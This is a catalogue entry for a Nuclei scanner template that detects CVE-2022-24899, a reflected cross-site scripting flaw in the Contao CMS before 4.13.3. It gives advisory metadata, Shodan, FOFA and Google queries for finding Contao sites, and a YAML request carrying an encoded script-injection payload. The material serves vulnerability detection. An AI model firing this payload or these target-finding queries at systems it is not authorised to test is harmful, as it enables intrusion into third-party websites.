CVE-2022-24899: Contao <4.13.3 - Cross-Site Scripting
- Template: CVE-2022-24899
- Name: Contao <4.13.3 - Cross-Site Scripting
- Description: Contao prior to 4.13.3 contains a cross-site scripting vulnerability. It is possible to inject arbitrary JavaScript code into the canonical tag.
- Impact: Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in a victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
- Remediation: As a workaround, users may disable canonical tags in the root page settings.
- Severity: medium
- Authors: ritikchaddha
- Tags: cve, cve2022, contao, xss, huntr, vuln
- References: https://huntr.dev/bounties/df46e285-1b7f-403c-8f6c-8819e42deb80/, https://github.com/contao/contao/security/advisories/GHSA-m8x6-6r63-qvj2, https://nvd.nist.gov/vuln/detail/CVE-2022-24899, https://contao.org/en/security-advisories/cross-site-scripting-via-canonical-url.html, https://github.com/contao/contao/commit/199206849a87ddd0fa5cf674eb3c58292fd8366c
- Cves: CVE-2022-24899
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2022/CVE-2022-24899.yaml
- Digest: 4a0a00473045022100fbfe5085a8b945557395162c6f4e9efe97e96d5678e7858e2a0d9d982271d24902206e68418e8f964b9216a2f14298df8107baae4870e25fb5e3a32768d9f94bf7b5
- Created at: 2022-06-22T06:38:08Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 1616
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-24899.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-79
- Cvss score: 6.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.04478
- Epss percentile: 0.91692
- Cpe: cpe:2.3:a:contao:contao:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: body="contao open source cms", title="contao"
- Google-query: intitle:"contao"
- Max-request: 1
- Product: contao
- Shodan-query: title:"Contao", http.title:"contao", http.html:"contao open source cms", cpe:"cpe:2.3:a:contao:contao"
- Vendor: contao
Products
| Product | Indexed | Url |
|---|---|---|
| contao:contao | yes | /v1/products/contao/contao |
Labels
- Name: Contao - Stored XSS
- Impact: Attackers can execute arbitrary JavaScript in the context of the affected website, leading to session hijacking, defacement, or redirection.
- Remediation: Update to version 4.13.3 or later.
- Vulnerability type: stored_xss
- Vulnerability impact: client_script_exec
- Requirement type: user_interaction
- Requirements: Attacker needs to inject malicious code into the canonical tag
- Labels source: projectdiscovery
- From cve: CVE-2022-24899
```yaml
id: CVE-2022-24899
info:
name: Contao <4.13.3 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
Contao prior to 4.13.3 contains a cross-site scripting vulnerability. It is possible to inject arbitrary JavaScript code into the canonical tag.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in a victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: As a workaround, users may disable canonical tags in the root page settings.
reference:
- https://huntr.dev/bounties/df46e285-1b7f-403c-8f6c-8819e42deb80/
- https://github.com/contao/contao/security/advisories/GHSA-m8x6-6r63-qvj2
- https://nvd.nist.gov/vuln/detail/CVE-2022-24899
- https://contao.org/en/security-advisories/cross-site-scripting-via-canonical-url.html
- https://github.com/contao/contao/commit/199206849a87ddd0fa5cf674eb3c58292fd8366c
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-24899
cwe-id: CWE-79
epss-score: 0.04478
epss-percentile: 0.91692
cpe: cpe:2.3:a:contao:contao:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: contao
product: contao
shodan-query:
- title:"Contao"
- http.title:"contao"
- http.html:"contao open source cms"
- cpe:"cpe:2.3:a:contao:contao"
fofa-query:
- body="contao open source cms"
- title="contao"
google-query: intitle:"contao"
tags: cve,cve2022,contao,xss,huntr,vuln
http:
- method: GET
path:
- "{{BaseURL}}/contao/%22%3e%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"></script><script>alert(document.domain)</script>'
- '"Not authenticated"'
condition: and
- type: word
part: header
words:
- text/html
digest: 4a0a00473045022100fbfe5085a8b945557395162c6f4e9efe97e96d5678e7858e2a0d9d982271d24902206e68418e8f964b9216a2f14298df8107baae4870e25fb5e3a32768d9f94bf7b5:922c64590222798bb761d5b6d8e72950
```